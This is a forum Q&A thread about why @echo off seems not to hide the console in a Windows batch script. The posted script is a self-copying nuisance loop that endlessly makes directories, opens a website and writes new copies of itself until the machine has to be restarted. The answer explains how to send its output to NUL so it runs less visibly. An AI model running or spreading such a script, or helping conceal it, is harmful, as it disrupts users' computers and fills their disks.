@echo off is not working in batch scripts

Question

I Have several batch scripts on my computer, many of the harmless and annoying. Unfortunately, @echo off just isn't working on my computer.

Here is the script:

@echo off
:top
md %random%
start http://roblox.com
set self=%~n0
REM get own filename
TYPE %self%.bat > %self%%random%%random%.bat
goto top
(it's just extremely annoying and pretty much just makes it to where you have to restart)

Normally it wouldn't show the cmd. However, I can see the command prompt clear as day.

Answer 1

Seems like you want to hide the output of the comments rather than the prompt and themselves. This can be done by redirecting their STDOUT and STDERR to NUL .

If you start your batch file from cmd, then start it with:

(batch.bat)>NUL 2>&1

and if you start it by double-click, then either create another batch file with content:

@(batch.bat)>NUL 2>&1

or in your batch file, start with (not highly recommended):

@echo off
setlocal EnableDelayedExpansion

(
content
of
your
batch
file
)>NUL 2>&1

but note that you should access variable with !var! rather than %var% , that's why I don't recommend this way.